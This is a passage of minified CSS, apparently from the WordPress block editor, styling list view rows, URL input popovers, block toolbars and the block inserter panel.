.block-editor-list-view-block__mover-cell{padding-bottom:0;padding-top:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{line-height:0;vertical-align:middle;width:36px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{opacity:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{opacity:1}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{min-width:24px;padding:0;width:24px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{padding-right:4px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{height:24px}.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{align-items:center;display:flex;flex-direction:column;height:100%}.block-editor-list-view-leaf .block-editor-block-mover-button{height:24px;position:relative;width:36px}.block-editor-list-view-leaf .block-editor-block-mover-button svg{height:24px;position:relative}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{align-items:flex-end;margin-top:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{bottom:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{align-items:flex-start;margin-bottom:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{top:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button:before{height:16px;left:0;min-width:100%;right:0}.block-editor-list-view-leaf .block-editor-inserter__toggle{background:#1e1e1e;color:#fff;height:24px;margin:6px 6px 6px 1px;min-width:24px}.block-editor-list-view-leaf .block-editor-inserter__toggle:active{color:#fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper{min-width:120px}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{flex:1;position:relative}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{position:absolute;transform:translateY(-50%);width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{max-width:min(110px,40%);position:relative;width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{background:#0000001a;border-radius:2px;box-sizing:border-box;max-width:100%;padding:2px 6px;position:absolute;right:0;transform:translateY(-50%)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{background:#0000004d}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock{line-height:0}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{display:flex}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{background-size:cover;border-radius:2px;height:18px;width:18px}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px #fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){margin-left:-6px}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-list-view-draggable-chip{opacity:.8}.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{display:flex}.block-editor-list-view__expander{cursor:pointer;height:24px;margin-left:4px;width:24px}.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{margin-left:220px}.block-editor-list-view-leaf:not([aria-level="1"]) .block-editor-list-view__expander{margin-right:4px}.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{margin-left:0}.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{margin-left:24px}.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{margin-left:52px}.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{margin-left:80px}.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{margin-left:108px}.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{margin-left:136px}.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{margin-left:164px}.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{margin-left:192px}.block-editor-list-view-leaf .block-editor-list-view__expander{visibility:hidden}.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transform:rotate(90deg);transition:transform .2s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transform:rotate(0deg);transition:transform .2s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-drop-indicator{pointer-events:none}.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{background:var(--wp-admin-theme-color);border-radius:4px;height:4px}.block-editor-list-view-drop-indicator--preview{pointer-events:none}.block-editor-list-view-drop-indicator--preview .components-popover__content{overflow:hidden!important}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:4px;height:36px;overflow:hidden}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{background:rgba(var(--wp-admin-theme-color--rgb),.09)}.block-editor-list-view-placeholder{height:36px;margin:0;padding:0}.list-view-appender .block-editor-inserter__toggle{background-color:#1e1e1e;border-radius:2px;color:#fff;height:24px;margin:8px 0 0 24px;min-width:24px;padding:0}.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.list-view-appender__description{display:none}.block-editor-list-view-block-select-button__bindings svg g{stroke:var(--wp-bound-block-color);fill:#0000;stroke-width:1.5;stroke-linecap:round;stroke-linejoin:round}.modal-open .block-editor-media-replace-flow__options{display:none}.block-editor-media-replace-flow__indicator{margin-left:4px}.block-editor-media-flow__url-input{margin-left:-8px;margin-right:-8px;padding:16px}.block-editor-media-flow__url-input.has-siblings{border-top:1px solid #1e1e1e;margin-top:8px;padding-bottom:8px}.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{display:block;margin-bottom:8px;top:16px}.block-editor-media-flow__url-input .block-editor-link-control{width:300px}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{margin:0;padding:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{max-width:200px;white-space:nowrap}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{justify-content:flex-end;padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus)}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{padding:0;width:auto}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{margin:0;width:100%}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{padding:8px 0 0}.block-editor-media-flow__error{max-width:255px;padding:0 20px 20px}.block-editor-media-flow__error .components-with-notices-ui{max-width:255px}.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{overflow:hidden;word-wrap:break-word}.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{position:absolute;right:10px}.block-editor-multi-selection-inspector__card{align-items:flex-start;display:flex;padding:16px}.block-editor-multi-selection-inspector__card-content{flex-grow:1}.block-editor-multi-selection-inspector__card-title{font-weight:500;margin-bottom:5px}.block-editor-multi-selection-inspector__card-description{font-size:13px}.block-editor-multi-selection-inspector__card .block-editor-block-icon{height:24px;margin-left:-2px;margin-right:10px;padding:0 3px;width:36px}.block-editor-responsive-block-control{border-bottom:1px solid #ccc;margin-bottom:28px;padding-bottom:14px}.block-editor-responsive-block-control:last-child{border-bottom:0;padding-bottom:0}.block-editor-responsive-block-control__title{margin:0 0 .6em -3px}.block-editor-responsive-block-control__label{font-weight:600;margin-bottom:.6em;margin-left:-3px}.block-editor-responsive-block-control__inner{margin-left:-1px}.block-editor-responsive-block-control__toggle{margin-left:1px}.block-editor-responsive-block-control .components-base-control__help{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.components-popover.block-editor-rich-text__inline-format-toolbar{z-index:99998}.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{box-shadow:none;margin-bottom:8px;min-width:auto;outline:none;width:auto}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{border-radius:2px}.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{min-height:48px;min-width:48px;padding-left:12px;padding-right:12px}.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{justify-content:center}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{width:auto}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{content:attr(aria-label)}.block-editor-skip-to-selected-block{position:absolute;top:-9999em}.block-editor-skip-to-selected-block:focus{background:#f1f1f1;box-shadow:0 0 2px 2px #0009;color:var(--wp-admin-theme-color);display:block;font-size:14px;font-weight:600;height:auto;line-height:normal;outline:none;padding:15px 23px 14px;text-decoration:none;width:auto;z-index:100000}.block-editor-text-decoration-control{border:0;margin:0;padding:0}.block-editor-text-decoration-control .block-editor-text-decoration-control__buttons{display:flex;padding:4px 0}.block-editor-text-decoration-control .components-button.has-icon{height:32px;margin-right:4px;min-width:32px;padding:0}.block-editor-text-transform-control{border:0;margin:0;padding:0}.block-editor-text-transform-control .block-editor-text-transform-control__buttons{display:flex;padding:4px 0}.block-editor-text-transform-control .components-button.has-icon{height:32px;margin-right:4px;min-width:32px;padding:0}.block-editor-tool-selector__help{border-top:1px solid #ddd;color:#757575;margin:8px -8px -8px;min-width:280px;padding:16px}.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{flex-grow:1;padding:1px;position:relative}.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{font-size:16px;margin-left:0;margin-right:0;padding:8px 8px 8px 12px;width:100%}@media (min-width:600px){.block-editor-block-list__block .block-editor-url-input input[type=text],.block-editor-url-input input[type=text],.components-popover .block-editor-url-input input[type=text]{font-size:13px;width:300px}}.block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear,.block-editor-url-input input[type=text]::-ms-clear,.components-popover .block-editor-url-input input[type=text]::-ms-clear{display:none}.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text],.components-popover .block-editor-url-input.is-full-width__suggestions{width:100%}.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{margin:0;position:absolute;right:8px;top:calc(50% - 8px)}.block-editor-url-input__input[type=text]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;padding:6px 8px;transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.block-editor-url-input__input[type=text]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.block-editor-url-input__input[type=text]{font-size:13px;line-height:normal}}.block-editor-url-input__input[type=text]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-url-input__input[type=text]::-webkit-input-placeholder{color:#1e1e1e9e}.block-editor-url-input__input[type=text]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.block-editor-url-input__input[type=text]:-ms-input-placeholder{color:#1e1e1e9e}.block-editor-url-input__suggestions{max-height:200px;overflow-y:auto;padding:4px 0;transition:all .15s ease-in-out;width:302px}@media (prefers-reduced-motion:reduce){.block-editor-url-input__suggestions{transition-delay:0s;transition-duration:0s}}.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:none}@media (min-width:600px){.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:grid}}.block-editor-url-input__suggestion{background:#fff;border:none;box-shadow:none;color:#757575;cursor:pointer;display:block;font-size:13px;height:auto;min-height:36px;text-align:left;width:100%}.block-editor-url-input__suggestion:hover{background:#ddd}.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{background:var(--wp-admin-theme-color-darker-20);color:#fff;outline:none}.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{position:inherit}.block-editor-url-input__button .block-editor-url-input__back{margin-right:4px;overflow:visible}.block-editor-url-input__button .block-editor-url-input__back:after{background:#ddd;content:"";display:block;height:24px;position:absolute;right:-1px;width:1px}.block-editor-url-input__button-modal{background:#fff;border:1px solid #ddd;box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a}.block-editor-url-input__button-modal-line{align-items:flex-start;display:flex;flex-direction:row;flex-grow:1;flex-shrink:1;min-width:0}.block-editor-url-input__button-modal-line .components-button{flex-shrink:0;height:36px;width:36px}.block-editor-url-popover__additional-controls{border-top:1px solid #1e1e1e;padding:8px}.block-editor-url-popover__input-container{padding:8px}.block-editor-url-popover__row{display:flex;gap:4px}.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){flex-grow:1;gap:8px}.block-editor-url-popover__additional-controls .components-button.has-icon{height:auto;padding-left:8px;padding-right:8px;text-align:left}.block-editor-url-popover__additional-controls .components-button.has-icon>svg{margin-right:8px}.block-editor-url-popover__settings-toggle{flex-shrink:0}.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{transform:rotate(180deg)}.block-editor-url-popover__settings{border-top:1px solid #1e1e1e;display:block;padding:16px}.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{display:flex}.block-editor-url-popover__link-viewer-url{align-items:center;display:flex;flex-grow:1;flex-shrink:1;margin-right:8px;max-width:350px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-url-popover__link-viewer-url.has-invalid-link{color:#cc1818}.block-editor-url-popover__expand-on-click{align-items:center;display:flex;min-width:350px;white-space:nowrap}.block-editor-url-popover__expand-on-click .text{flex-grow:1}.block-editor-url-popover__expand-on-click .text p{line-height:16px;margin:0}.block-editor-url-popover__expand-on-click .text p.description{color:#757575;font-size:12px}.html-anchor-control .components-external-link{display:block;margin-top:8px}.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack{flex-direction:row-reverse}.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{flex-direction:row}.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{color:#757575;font-size:12px;margin-bottom:16px}.block-editor-hooks__background__inspector-media-replace-container{position:relative}.block-editor-hooks__background__inspector-media-replace-container .components-drop-zone__content-icon{display:none}.block-editor-hooks__background__inspector-media-replace-container button.components-button{box-shadow:inset 0 0 0 1px #ddd;color:#1e1e1e;display:block;height:40px;width:100%}.block-editor-hooks__background__inspector-media-replace-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-editor-hooks__background__inspector-media-replace-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-hooks__background__inspector-media-replace-container .block-editor-hooks__background__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-hooks__background__inspector-media-replace-container .components-dropdown{display:block}.block-editor-hooks__background__inspector-image-indicator-wrapper{background:#fff linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0);border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;display:block;flex:none;height:20px;width:20px}.block-editor-hooks__background__inspector-image-indicator-wrapper.has-image{background:#fff}.block-editor-hooks__background__inspector-image-indicator{background-size:cover;border-radius:50%;display:block;height:20px;position:relative;width:20px}.block-editor-hooks__background__inspector-image-indicator:after{border:1px solid #0000;border-radius:50%;bottom:-1px;box-shadow:inset 0 0 0 1px #0003;box-sizing:inherit;content:"";left:-1px;position:absolute;right:-1px;top:-1px}.border-block-support-panel .single-column{grid-column:span 1}.color-block-support-panel .block-editor-contrast-checker{grid-column:span 2;margin-top:16px;order:9999}.color-block-support-panel .block-editor-contrast-checker .components-notice__content{margin-right:0}.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{row-gap:0}.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{margin-top:0}.dimensions-block-support-panel .single-column{grid-column:span 1}.block-editor-hooks__layout-controls{display:flex;margin-bottom:8px}.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit{display:flex;margin-right:24px}.block-editor-hooks__layout-controls .block-editor-hooks__layout-controls-unit svg{margin:auto 0 4px 8px}.block-editor-block-inspector .block-editor-hooks__layout-controls-unit-input{margin-bottom:0}.block-editor-hooks__layout-controls-reset{display:flex;justify-content:flex-end;margin-bottom:24px}.block-editor-hooks__layout-controls-helptext{color:#757575;font-size:12px;margin-bottom:16px}.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{margin-bottom:12px}.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{margin-bottom:8px}.block-editor-hooks__toggle-control.block-editor-hooks__toggle-control{margin-bottom:16px}.block-editor__padding-visualizer{border-color:var(--wp-admin-theme-color);border-style:solid;bottom:0;box-sizing:border-box;left:0;opacity:.5;pointer-events:none;position:absolute;right:0;top:0}.block-editor-hooks__position-selection__select-control .components-custom-select-control__hint{display:none}.block-editor-hooks__position-selection__select-control__option.has-hint{grid-template-columns:auto 30px;line-height:1.4;margin-bottom:0}.block-editor-hooks__position-selection__select-control__option .components-custom-select-control__item-hint{grid-row:2;text-align:left}.typography-block-support-panel .single-column{grid-column:span 1}.block-editor-block-toolbar{display:flex;flex-grow:1;overflow-x:auto;overflow-y:hidden;position:relative;transition:border-color .1s linear,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-block-toolbar{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.block-editor-block-toolbar{overflow:inherit}}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{background:none;border:0;border-right:1px solid #ddd;line-height:0;margin-bottom:-1px;margin-top:-1px}.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{border-right:none}.block-editor-block-contextual-toolbar{background-color:#fff;display:block;flex-shrink:3;position:sticky;top:0;width:100%;z-index:31}.block-editor-block-contextual-toolbar.components-accessible-toolbar{border:none;border-bottom:1px solid #e0e0e0;border-radius:0}.block-editor-block-contextual-toolbar .block-editor-block-toolbar{overflow:auto;overflow-y:hidden;scrollbar-color:#e0e0e0 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{height:12px;width:12px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{background-color:initial}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:#e0e0e0;border:3px solid #0000;border-radius:8px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{background-color:#949494}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{scrollbar-color:#949494 #0000}@media (hover:none){.block-editor-block-contextual-toolbar .block-editor-block-toolbar{scrollbar-color:#949494 #0000}}.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{display:none}.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar,.block-editor-block-contextual-toolbar .block-editor-block-toolbar .components-toolbar-group{border-right-color:#e0e0e0}.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{flex-grow:0;width:auto}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{margin-bottom:-1px;margin-top:-1px;position:relative}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{align-items:center;content:"·";display:inline-flex;font-size:16px;height:32px;position:absolute;right:0;top:0}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin:0!important;width:24px!important}.block-editor-block-toolbar__block-controls .components-toolbar-group{padding:0}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{display:flex;flex-wrap:nowrap}.block-editor-block-toolbar__slot{display:inline-block;line-height:0}@supports (position:sticky){.block-editor-block-toolbar__slot{display:inline-flex}}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{height:0!important;min-width:0!important;width:0!important}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{border-bottom-right-radius:0;border-top-right-radius:0;padding-left:12px;padding-right:12px;text-wrap:nowrap}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{width:0}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{position:relative;width:auto}@media (min-width:600px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#e0e0e0;content:"";height:1px;left:50%;margin-top:-.5px;position:absolute;top:50%;transform:translate(-50%);width:100%}}@media (min-width:782px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button{padding-left:8px;padding-right:8px}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-left:1px solid #ddd;margin-left:6px;margin-right:-6px;white-space:nowrap}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{padding-left:12px;padding-right:12px}.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{width:auto}.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{flex-shrink:1}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{margin-left:6px}.block-editor-inserter{background:none;border:none;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:0;padding:0}@media (min-width:782px){.block-editor-inserter{position:relative}}.block-editor-inserter__main-area{display:flex;flex-direction:column;gap:16px;height:100%;overflow-y:hidden;position:relative}.block-editor-inserter__main-area.show-as-tabs{gap:0}@media (min-width:782px){.block-editor-inserter__main-area{width:350px}}.block-editor-inserter__popover.is-quick .components-popover__content{border:none;box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;outline:none}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{border-left:1px solid #ccc;border-right:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{border-radius:2px 2px 0 0;border-top:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{border-bottom:1px solid #ccc;border-radius:0 0 2px 2px}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{border:1px solid #1e1e1e}.block-editor-inserter__popover .block-editor-inserter__menu{margin:-12px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs div[role=tablist]{top:60px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{height:auto;overflow:visible}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{display:none}.block-editor-inserter__toggle.components-button{align-items:center;border:none;cursor:pointer;display:inline-flex;outline:none;padding:0;transition:color .2s ease}@media (prefers-reduced-motion:reduce){.block-editor-inserter__toggle.components-button{transition-delay:0s;transition-duration:0s}}.block-editor-inserter__menu{height:100%;overflow:visible;position:relative}.block-editor-inserter__inline-elements{margin-top:-1px}.block-editor-inserter__menu.is-bottom:after{border-bottom-color:#fff}.components-popover.block-editor-inserter__popover{z-index:99999}.block-editor-inserter__search{padding:16px 16px 0}.block-editor-inserter__tabs{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.block-editor-inserter__tabs div[role=tablist]{border-bottom:1px solid #ddd}.block-editor-inserter__tabs div[role=tablist] button[role=tab]{flex-grow:1;margin-bottom:-1px}.block-editor-inserter__tabs div[role=tablist] button[role=tab][id$=reusable]{flex-grow:inherit;padding-left:16px;padding-right:16px}.block-editor-inserter__tabs div[role=tabpanel]{display:flex;flex-direction:column;flex-grow:1;overflow-y:auto}.block-editor-inserter__no-tab-container{flex-grow:1;overflow-y:auto}.block-editor-inserter__panel-header{align-items:center;display:inline-flex;padding:16px 16px 0}.block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{color:#757575;font-size:11px;font-weight:500;margin:0 12px 0 0;text-transform:uppercase}.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{height:36px;line-height:36px}.block-editor-inserter__panel-dropdown select{border:none}.block-editor-inserter__reusable-blocks-panel{position:relative;text-align:right}.block-editor-inserter__manage-reusable-blocks-container{margin:auto 16px 16px}.block-editor-inserter__manage-reusable-blocks{justify-content:center;width:100%}.block-editor-inserter__no-results{padding:32px;text-align:center}.block-editor-inserter__no-results-icon{fill:#949494}.block-editor-inserter__child-blocks{padding:0 16px}.block-editor-inserter__parent-block-header{align-items:center;display:flex}.block-editor-inserter__parent-block-header h2{font-size:13px}.block-editor-inserter__parent-block-header .block-editor-block-icon{margin-right:8px}.block-editor-inserter__preview-container__popover{top:16px!important}.block-editor-inserter__preview-container{display:none;max-height:calc(100% - 32px);overflow-y:hidden;padding:16px;width:280px}@media (min-width:782px){.block-editor-inserter__preview-container{display:block}}.block-editor-inserter__preview-container .block-editor-block-preview__container{height:100%}.block-editor-inserter__preview-container .block-editor-block-card{padding-bottom:4px;padding-left:0;padding-right:0}.block-editor-inserter__patterns-explore-button.components-button{justify-content:center;margin-top:16px;padding:16px;width:100%}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category{color:var(--wp-admin-theme-color);position:relative}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category .components-flex-item{filter:brightness(.95)}.block-editor-inserter__patterns-selected-category.block-editor-inserter__patterns-selected-category 